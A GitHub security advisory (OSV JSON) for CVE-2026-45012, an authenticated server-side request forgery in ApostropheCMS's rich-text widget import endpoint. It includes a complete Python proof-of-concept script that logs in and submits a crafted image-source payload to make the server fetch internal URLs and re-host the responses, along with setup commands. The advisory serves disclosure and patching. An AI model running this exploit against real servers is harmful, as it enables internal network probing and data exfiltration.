CVE-2026-45012: Apostrophe Apostrophe Has Authenticated SSRF Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-pr28-mf3q-qpg6",
  "modified" : "2026-06-12T22:02:09Z",
  "published" : "2026-05-14T18:26:45Z",
  "aliases" : [ "CVE-2026-45012" ],
  "summary" : "Apostrophe has authenticated SSRF in rich-text widget import via @apostrophecms/area/validate-widget",
  "details" : "### Summary\nApostropheCMS contains an authenticated server-side request forgery (SSRF) in the rich-text widget import flow. An authenticated user who can submit/edit rich-text widget content can cause the server to fetch attacker-controlled URLs during widget validation. For image-compatible responses, the fetched content can be persisted and re-hosted by Apostrophe, allowing response exfiltration.\n\n### Details\n  The vulnerable flow is in the rich-text widget sanitizer:\n  - `packages/apostrophe/modules/@apostrophecms/rich-text-widget/index.js`\n  - `packages/apostrophe/modules/@apostrophecms/area/index.js`\n  - `packages/apostrophe/modules/@apostrophecms/widget-type/index.js`\n\nRelevant behavior:\n  1. The backend accepts a widget payload containing `import.html`.\n  2. It parses `<img src=...>` values from that HTML.\n  3. For each image, it resolves the URL with:\n     - `new URL(src, input.import.baseUrl || self.apos.baseUrl)`\n  4. It then performs a server-side `fetch(url)`.\n  5. The fetched body is written to a temp file and imported through Apostrophe image/attachment logic.\n\n  This is reachable during widget validation through:\n  - `POST /api/v1/@apostrophecms/area/validate-widget?aposMode=draft`\n\n\n### PoC\n 1. Start a local HTTP server with a valid PNG:\n```bash\n     mkdir -p /tmp/apos-poc\n     base64 -d > /tmp/apos-poc/secret.png <<'EOF'\n     iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8/x8AAwMCAO+y1n0AAAAASUVORK5CYII=\n     EOF\n     cd /tmp/apos-poc && python3 -m http.server 7777 --bind 127.0.0.1\n```\n2. Run the following Python PoC:\n```python\n#!/usr/bin/env python3\nimport argparse\nimport json\nimport sys\nfrom urllib.parse import urljoin\n\nimport requests\n\n\ndef login(base_url: str, username: str, password: str) -> str:\n    url = urljoin(base_url, \"/api/v1/@apostrophecms/login/login\")\n    r = requests.post(\n        url,\n        json={\n            \"username\": username,\n            \"password\": password\n        },\n        timeout=20\n    )\n    r.raise_for_status()\n    data = r.json()\n    token = data.get(\"token\")\n    if not token:\n      raise RuntimeError(f\"Login succeeded but no token was returned: {data}\")\n    return token\n\n\ndef trigger(base_url: str, token: str, area_field_id: str, target_url: str) -> dict:\n    url = urljoin(\n        base_url,\n        \"/api/v1/@apostrophecms/area/validate-widget?aposMode=draft\"\n    )\n    payload = {\n        \"areaFieldId\": area_field_id,\n        \"type\": \"@apostrophecms/rich-text\",\n        \"widget\": {\n            \"type\": \"@apostrophecms/rich-text\",\n            \"content\": \"<p>seed</p>\",\n            \"import\": {\n                \"html\": f'<img src=\"{target_url}\">',\n                \"baseUrl\": target_url.rsplit(\"/\", 1)[0] if \"/\" in target_url else target_url\n            }\n        }\n    }\n    r = requests.post(\n        url,\n        headers={\n            \"Authorization\": f\"Bearer {token}\",\n            \"Accept\": \"application/json\"\n        },\n        json=payload,\n        timeout=30\n    )\n    r.raise_for_status()\n    return r.json()\n\n\ndef main() -> int:\n    parser = argparse.ArgumentParser(\n        description=\"Authenticated ApostropheCMS SSRF PoC via rich-text widget import.\"\n    )\n    parser.add_argument(\"--base-url\", default=\"http://127.0.0.1:3000\")\n    parser.add_argument(\"--username\", default=\"admin\")\n    parser.add_argument(\"--password\", default=\"admin123\")\n    parser.add_argument(\"--area-field-id\", default=\"cd4f89f5b834d0036f3867f1507a8add\")\n    parser.add_argument(\"--target-url\", default=\"http://127.0.0.1:7777/secret.png\")\n    parser.add_argument(\n        \"--fetch-image\",\n        action=\"store_true\",\n        help=\"Fetch the generated Apostrophe image URL after exploitation.\"\n    )\n    args = parser.parse_args()\n\n    try:\n        token = login(args.base_url, args.username, args.password)\n        result = trigger(args.base_url, token, args.area_field_id, args.target_url)\n    except Exception as exc:\n        print(f\"[!] Exploit failed: {exc}\", file=sys.stderr)\n        return 1\n\n    print(\"[+] Login OK\")\n    print(f\"[+] Bearer token: {token}\")\n    print(\"[+] Exploit response:\")\n    print(json.dumps(result, indent=2))\n\n    widget = result.get(\"widget\") or {}\n    image_ids = widget.get(\"imageIds\") or []\n    if not image_ids:\n        print(\"[-] No imageIds returned. Target may have been fetched but not persisted as an image.\")\n        return 0\n\n    image_id = image_ids[0]\n    image_path = f\"/api/v1/@apostrophecms/image/{image_id}/src\"\n    image_url = urljoin(args.base_url, image_path)\n    print(f\"[+] Generated image id: {image_id}\")\n    print(f\"[+] Generated image URL: {image_url}\")\n\n    if args.fetch_image:\n        r = requests.get(image_url, allow_redirects=True, timeout=30)\n        print(f\"[+] Final fetch status: {r.status_code}\")\n        print(f\"[+] Final URL: {r.url}\")\n        print(f\"[+] Retrieved bytes: {len(r.content)}\")\n\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n3. Example usage:\n```bash\n     python3 poc.py \\\n       --base-url http://127.0.0.1:3000 \\\n       --username admin \\\n       --password admin123 \\\n       --area-field-id cd4f89f5b834d0036f3867f1507a8add \\\n       --target-url http://127.0.0.1:7777/secret.png \\\n       --fetch-image\n```\n  4. Expected result:\n      - The local listener receives:\n        GET /secret.png HTTP/1.1\n      - The API response includes a rewritten Apostrophe image URL and imageIds.\n      - The generated image URL can then be fetched through the application.\n\nAdditional note:\n\n  - If the target returns non-image content such as secret.txt, the SSRF still occurs, but later image processing can fail. This still allows blind or semi-blind SSRF behavior useful for internal reachability checks and rough port enumeration.\n\n### Impact\nAn authenticated user with permission to submit or edit rich-text widget content can:\n  - trigger server-side requests to internal services (127.0.0.1, private subnets, etc.)\n  - perform blind or semi-blind internal port and service discovery\n  - exfiltrate image-compatible responses because Apostrophe stores and re-hosts the fetched content",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "apostrophe"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "4.29.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-pr28-mf3q-qpg6"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-45012"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/apostrophecms/apostrophe"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-14T18:26:45Z",
    "nvd_published_at" : "2026-06-12T21:16:22Z"
  }
}